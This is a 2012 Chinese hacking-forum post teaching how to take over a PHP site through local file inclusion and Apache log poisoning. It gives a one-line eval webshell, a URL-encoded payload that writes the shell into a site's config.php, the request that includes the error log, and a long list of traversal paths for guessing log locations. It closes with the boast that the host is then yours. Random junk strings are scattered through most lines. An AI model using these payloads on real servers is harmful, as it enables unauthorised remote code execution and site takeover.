找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1947|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 0 N$ T1 d; ]& u( u

5 e7 s+ U& D: f. P0 x比如还是这句一句话木马 % i- s6 Y0 Z/ O2 j* h. C$ n
<?eval($_POST[cmd]);?>   # J" J. v- P: s; T% }( K" E- C4 c1 L

# m( K3 s7 ?  o9 H3 @' u1 t8 n到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
2 L0 k# G0 i! N3 _fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 1 Z( B- E+ E3 _6 E6 h
% y" q3 |; y9 [+ C3 z
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
0 Q  G6 D4 S# v  U7 Bfclose($fp);?>   //在config.php里写入一句木马语句
7 J  s7 F, w, `& v0 V- X  z2 ~$ g! [
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
; G2 {# L0 z1 T& t转换为 " K: R: @' e2 r; C$ U! e
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F 4 L, _3 w" D/ ?. G) S# G
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
/ I/ G, Y( [& Y! C* \%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
) o# R1 f4 `; y5 i! i: Efclose%28%24fp%29%3B%3F%3E / D" Z' |: T- W* A8 Y
我们提交
* I) p0 R5 A0 \8 r" K! ]4 Chttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww # J$ X. C4 s6 w4 k
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
/ B  H/ A) j4 T: |8 O  s%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
" G3 C! g/ K& r+ Ocmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E   ?" P1 j8 m2 j+ ?% x7 ]' `
: T1 |4 u% C% `, p6 s3 {, `) ^
这样就错误日志里就记录下了这行写入webshell的代码。 - N+ X% {4 h/ A
我们再来包含日志,提交 1 [* F& f: H7 G6 K* l+ o9 j3 o  s
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
+ ]; Y* q. q* S! n! v5 t0 E# {  ^: ?) {) i6 W+ C
这样webshell就写入成功了,config.php里就写入一句木马语句 4 \1 y4 g4 ^  F% X( B
OK. * v$ I- G+ q3 Y5 f, U2 A
http://www.xxx.com/forum/config.php这个就成了我们的webshell
1 N% \1 h% C$ I4 E4 I! n+ {& \2 c6 k直接用lanker的客户端一连,主机就是你的了。
. |* s/ `3 O- \4 u
6 |" \+ L7 c; o  pPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 * U3 x" r+ x7 {9 M  m

; @7 x: z- d  C' W- R1 M" w其他的日志路径,你可以去猜,也可以参照这里。
" q' X1 f# ]  o- u' P8 u../../../../../../../../../../var/log/httpd/access_log - F+ H1 H- X0 _7 d4 f# Q9 ~# U# p( p
../../../../../../../../../../var/log/httpd/error_log , V% g; u% E8 Z6 G
../apache/logs/error.log
: F) {, _0 ^  X/ i2 ~/ z../apache/logs/access.log ; e" X- U" Z% h$ D; i
../../apache/logs/error.log ; ~2 R  n& ^2 V5 i. S* u
../../apache/logs/access.log
: R% G+ U1 R/ }3 D1 m../../../apache/logs/error.log ' _- L# _4 [) s! A3 F9 a( ]' F
../../../apache/logs/access.log
3 `& k1 X' n5 t5 d. S/ e$ A../../../../../../../../../../etc/httpd/logs/acces_log
) s/ f2 T3 c' E" }4 L../../../../../../../../../../etc/httpd/logs/acces.log
0 u/ c+ P: S8 G4 r  v: p7 W4 Q../../../../../../../../../../etc/httpd/logs/error_log
2 `- N1 W$ p+ g* T' x( X../../../../../../../../../../etc/httpd/logs/error.log
9 @5 h( n( J' h' U  [3 g* v../../../../../../../../../../var/www/logs/access_log ' V7 g# h! {% T: v( C+ Y( f
../../../../../../../../../../var/www/logs/access.log 3 ^) n8 `3 i0 r
../../../../../../../../../../usr/local/apache/logs/access_log
3 |$ ^- J$ U0 x% o' `( @+ U../../../../../../../../../../usr/local/apache/logs/access.log / S6 ?. |7 a6 ?  |
../../../../../../../../../../var/log/apache/access_log
2 S8 Z7 d5 w% \; @% {3 M../../../../../../../../../../var/log/apache/access.log 4 w# t0 p# _3 S' P
../../../../../../../../../../var/log/access_log
) s( H- a: P$ s! `: x, q../../../../../../../../../../var/www/logs/error_log & C3 m4 t+ ?3 y) `
../../../../../../../../../../var/www/logs/error.log
8 |* L0 w! {9 W3 J../../../../../../../../../../usr/local/apache/logs/error_log
9 T$ S7 {, t6 _8 l../../../../../../../../../../usr/local/apache/logs/error.log . A* e2 u' m  d6 E$ i5 H- x% A: f
../../../../../../../../../../var/log/apache/error_log / y8 B  J1 z- Z/ U+ p0 Q. }8 g% {$ P
../../../../../../../../../../var/log/apache/error.log
4 [$ s+ k% g* Z5 B' n8 W../../../../../../../../../../var/log/access_log
4 ^* F' N9 c* g- L# L../../../../../../../../../../var/log/error_log
. s3 P+ L' x* v- h1 Q- x( U/var/log/httpd/access_log       . M& y4 C6 X7 J2 ?# `
/var/log/httpd/error_log     : A6 P6 B8 s: f. \5 m6 P( |  I' [
../apache/logs/error.log     
" p3 P. k& q$ \! l# e+ n0 E../apache/logs/access.log , V; I, O% ?1 R3 R+ [
../../apache/logs/error.log # J2 I0 p1 q7 b
../../apache/logs/access.log 3 n$ T. S8 F7 V( `7 M2 ]) P4 u
../../../apache/logs/error.log
+ j+ J# h6 {0 H# N5 n; D../../../apache/logs/access.log 8 H2 n' \' _4 I! ^7 r9 @) R9 ?* ]: a
/etc/httpd/logs/acces_log . n6 [# `7 Z3 K' [
/etc/httpd/logs/acces.log 8 J& P4 F/ R/ [% g& w: e
/etc/httpd/logs/error_log " {9 s2 z/ `" e
/etc/httpd/logs/error.log
5 s: x/ h/ k5 Y/var/www/logs/access_log
# `! V5 i- L! K/var/www/logs/access.log
4 g) i( J  t2 O1 Z/usr/local/apache/logs/access_log 1 T, k, j7 H8 P1 x
/usr/local/apache/logs/access.log
6 U  J# g/ @) O' U/var/log/apache/access_log $ v( t3 k! e  O
/var/log/apache/access.log / }( Y1 L' t% J& r4 p. M9 S* X
/var/log/access_log
  ]0 O. v: T8 R+ M/ `* R6 a/var/www/logs/error_log
* V3 _7 ]9 Y) W$ n  C, e. K# r- J7 R/var/www/logs/error.log
1 K# a$ @9 [& i( `; M) ?/usr/local/apache/logs/error_log ) |" V0 ?2 q0 s/ t
/usr/local/apache/logs/error.log 5 p. {; {7 L; i  F+ E
/var/log/apache/error_log
8 U' c# X. z5 i/var/log/apache/error.log
# ^/ t+ I9 b6 t8 L  y0 L& q/var/log/access_log
! s8 {8 W- |; b+ V- C" V/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表